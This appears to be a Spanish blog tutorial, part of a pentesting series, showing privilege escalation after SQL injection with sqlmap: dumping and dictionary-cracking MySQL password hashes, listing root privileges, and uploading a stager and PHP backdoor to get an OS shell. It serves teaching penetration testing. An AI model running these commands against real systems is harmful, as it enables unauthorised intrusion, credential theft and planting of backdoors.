jueves, 5 de noviembre de 2015

Pentesting (IV): Escalada de privilegios



Una vez verificada la vulnerabilidad y comprometido el sistema, es hora de intentar llegar lo más lejos posible, nuestra misión consistirá en tratar de obtener el control del sistema/aplicación/base de datos.






Esta fase siempre vendrá determinada por los resultados obtenidos en la fase de explotación. 



En nuestro ejemplo, la vulnerabilidad explotada ha sido de tipo SQL Injection, por lo tanto, trataremos a través de ella de escalar privilegios en el sistema.





Comprobando los privilegios




Los administradores de Bases de Datos establecen de forma cuidadosa los privilegios que un usuario de la aplicación tiene a la hora de acceder a la información de la Base de Datos.


Por lo tanto, lo primero para saber hasta donde podemos llegar será conocer que privilegios sobre la Base de Datos tiene el usuario que se utiliza en la aplicación.


Recordemos que en la fase de explotación obtuvimos que el usuario utilizado en la aplicación para acceder a la base de datos era:


./sqlmap.py -u http://aplicacion1.dominio.com/index.php?codigo=10 --current-user



[INFO] fetching current user
[INFO] retrieved:
current user: 'root@localhost'

Procedemos a obtener datos de passwords y privilegios:


./sqlmap.py -u http://aplicacion1.dominio.com/index.php?codigo=10 --privileges --passwords



[12:31:48] [INFO] fetching database users password hashes
[12:31:48] [INFO] the SQL query used returns 9 entries
[12:31:48] [INFO] retrieved: "root","*19B******************************************2D845EA29E"
[12:31:48] [INFO] retrieved: "",""
[12:31:48] [INFO] retrieved: "",""
[12:31:48] [INFO] retrieved: "debian-sys-maint","**23B**************************************************A9C16"
[12:31:49] [INFO] retrieved: "phpmyadmin","*4E6**************************************************2CC86"
[12:31:49] [INFO] retrieved: "usnoticias","*510************************************************D75DAC"


La herramienta sqlmap, dispone de su propio diccionario de hashes para realizar ataques basados en diccionario, por lo que podemos probar suerte y ver si las contraseñas son débiles.

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y

[12:43:24] [INFO] writing hashes to a temporary file '/tmp/sqlmapAHqXx35177/sqlmaphashes-pNU62j.txt'
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y
[12:43:28] [INFO] using hash method 'mysql_passwd'

what dictionary do you want to use?

[1] default dictionary file '/sqlmapproject-sqlmap-5198e4c/txt/wordlist.zip' (press Enter)

[2] custom dictionary file

[3] file with list of dictionary files

> 1

[12:45:39] [INFO] using default dictionary

do you want to use common password suffixes? (slow!) [y/N]

[12:47:05] [INFO] starting dictionary-based cracking (mysql_passwd)

database management system users password hashes:

[*] debian-sys-maint [1]:

password hash: **23B**************************************************A9C16

[*] phpmyadmin [1]:

password hash: *4E6**************************************************2CC86

[*] root [1]:

password hash: *19B******************************************2D845EA29E

clear-text password: Andromeda

[*] usnoticias [1]:

password hash: *510************************************************D75DAC

clear-text password: noticias


'root'@'localhost' (administrator) [28]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
privilege: CREATE ROUTINE
privilege: CREATE TABLESPACE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE USER
privilege: CREATE VIEW
privilege: DELETE
privilege: DROP
privilege: EVENT
privilege: EXECUTE
privilege: FILE
privilege: INDEX
privilege: INSERT
privilege: LOCK TABLES
privilege: PROCESS
privilege: REFERENCES
privilege: RELOAD
privilege: REPLICATION CLIENT
privilege: REPLICATION SLAVE
privilege: SELECT
privilege: SHOW DATABASES
privilege: SHOW VIEW
privilege: SHUTDOWN
privilege: SUPER
privilege: TRIGGER
privilege: UPDATE


Tenemos que la aplicación utiliza el usuario root@localhost y su contraseña, y además el usuario cuenta con privilegios totales de administración.


Uploading a shell





El siguiente paso, puede consistir en tratar de subir una shell al servidor Web, de forma que podamos llamarla desde Internet y ejecutar acciones sobre el sistema.


La herramienta sqlmap, a través de la opción –os-shell permite automatizar esta acción:

Para conseguir esto, se tienen que dar ciertas circunstancias, primero, tenemos que saber cual es el document root o ruta del servidor web donde reside la aplicación, por otro lado, la aplicación tiene que tener permisos de escritura para el usuario de MySQL y del servidor web Apache.


Procedemos con el comando sqlmap:

./sqlmap.py -u http://aplicacion1.dominio.com/index.php?codigo=10 –os-shell


[13:49:54] [INFO] going to use a web backdoor for command prompt
[13:49:54] [INFO] fingerprinting the back-end DBMS operating system
[13:49:54] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4 (Sabemos que la aplicación es php)


[13:50:01] [WARNING] unable to retrieve automatically the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /var/www/nginx-default') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 1 (En Debian/Apache, el directorio /var/www es el más común, probamos)


[13:50:53] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[13:50:53] [INFO] the file stager has been successfully uploaded on '/var/www/' - http://aplicacion1.dominio.com:80/tmpugahr.php
[13:50:53] [INFO] the backdoor has been successfully uploaded on '/var/www/' - http://aplicacion1.dominio.com/tmpbjgry.php
[13:50:53] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER

os-shell> (Hecho, tenemos línea de comandos con el sistema)


Este proceso a través de la herramienta sqlmap ha realizado las siguientes acciones:



  • Bajo el directorio /var/www, crea un archivo llamado tmpugahr.php, “uploader”, lo que nos permite subir archivos al servidor y poder llamarlos vía web.


El archivo se creará con los permisos con los que se ejectua el motor de base de datos MySQL.



Si accedemos a http://aplicacion1.dominio.com/tmpugahr.php, se muestra la aplicación de uploder:



  • Por otro lado, en el mismo directorio, sqlmap sube un backdoor que se creará con los permisos que tenga el servidor web, en nuestro caso, sqlmap lo ha llamado tmpbjgry.php, a través del cual tendremos una línea de comandos con el sistema.


Profundizar




En función de los permisos con los que corra el servidor web, podremos ir ejecutando comandos:

os-shell> /sbin/ifconfig


do you want to retrieve the command standard output? [Y/n/a]
command standard output:
---
eth0 Link encap:Ethernet HWaddr 08:00:27:e7:e4:1a
inet addr:192.168.9.122 Bcast:192.168.9.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fee7:e41a/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1333 errors:0 dropped:0 overruns:0 frame:0
TX packets:7949 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:359688 (351.2 KiB) TX bytes:682723 (666.7 KiB)


lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:3081 errors:0 dropped:0 overruns:0 frame:0
TX packets:3081 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:400097 (390.7 KiB) TX bytes:400097 (390.7 KiB)



A partir de aquí, nuestra imaginación y conocimientos juegan un papel importante.



Para concluir con el artículo de hoy, como hemos podido comprobar, dada las características de configuración de la aplicación, de la base de datos y del sistema, la escala de privilegios es posible, se presenta una amenaza crítica y real debido a una vulnerabilidad a nivel de la aplicación Web.





Es la hora de concluir nuestro servicio de pentesting mediante la elaboración del informe técnico y ejecutivo, pero lo veremos en el siguiente episodio.

Saludos




No hay comentarios:

Publicar un comentario